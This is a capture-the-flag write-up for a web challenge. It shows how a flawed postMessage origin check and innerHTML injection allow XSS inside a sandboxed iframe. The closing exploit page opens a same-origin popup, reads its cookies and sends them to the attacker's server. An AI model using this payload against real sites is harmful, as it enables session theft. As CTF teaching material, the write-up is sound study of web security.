#TL;DR
The challenge combines:
- a weak
event.originvalidation (includes) - HTML injection via
innerHTML - a same-origin popup to escape cross-site restrictions
By controlling /sandbox through postMessage, we achieve XSS inside the sandboxed iframe. Although cookies are inaccessible directly from a cross-site embedded context, opening a same-origin popup allows us to read document.cookie from the challenge origin.
Flag
Alpaca{4noth3r_sandb0x_An0ther_byp4s5}
#Challenge Overview
The application exposes two pages:
#/sandbox
A page that listens for postMessage from its parent and renders attacker-controlled HTML via innerHTML.
/
A wrapper page that embeds /sandbox inside:
<iframe sandbox="allow-scripts">
At first glance, the sandboxed iframe appears to isolate script execution.
#Vulnerabilities
The /sandbox page accepts messages only if the sender appears to belong to the same hostname:
window.addEventListener("message", (event) => {
if (
event.source !== window.parent ||
!event.origin.includes(location.hostname)
) {
return;
}
const data = event.data;
if (!data || data.type !== "render-html") {
return;
}
app.innerHTML = data.html;
});
The issue lies in:
event.origin.includes(location.hostname)
This is not an origin equality check, we can use an attacker-controlled domain like web.attacker.com to easily bypass the validation.
As long as we host a page on a matching domain, we can embed /sandbox and send arbitrary messages.
But even with XSS, directly reading cookies does not work:
document.cookie
returns nothing useful.
This happens because the iframe is embedded cross-site and constrained by browser isolation rules.
At this point, the challenge seems blocked.
#Exploitation Strategy
The key observation is:
While the embedded iframe is cross-site constrained, a newly opened top-level frame is not.
Instead of reading cookies from the iframe directly, we open a new window pointing to a same-origin page:
const w = open("http://web:3000/sandbox");
After the popup loads, its origin becomes:
http://web:3000
which is the same origin as the challenge.
Since our injected script already runs under /sandbox, it can access:
w.document.cookie
successfully.
We then exfiltrate the cookie back to our server.
But the final flag suggests the exploit may be somewhat unintended, since the challenge seems designed around the iframe sandbox itself.
#Full Exploit
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>iframe-sandbox solve</title>
</head>
<body>
<iframe
id="f"
src="http://web:3000/sandbox">
</iframe>
<script>
f.onload = () => {
setTimeout(() => {
const payload = `<img src=0 onerror="const w = window.open('http://web:3000/sandbox');setTimeout(() => {location ='${window.origin}/flag/' +encodeURIComponent(w.document.cookie);}, 2000);">`;
f.contentWindow.postMessage(
{
type: 'render-html',
html: payload
},
'*'
);
}, 1000);
};
</script>
</body>
</html>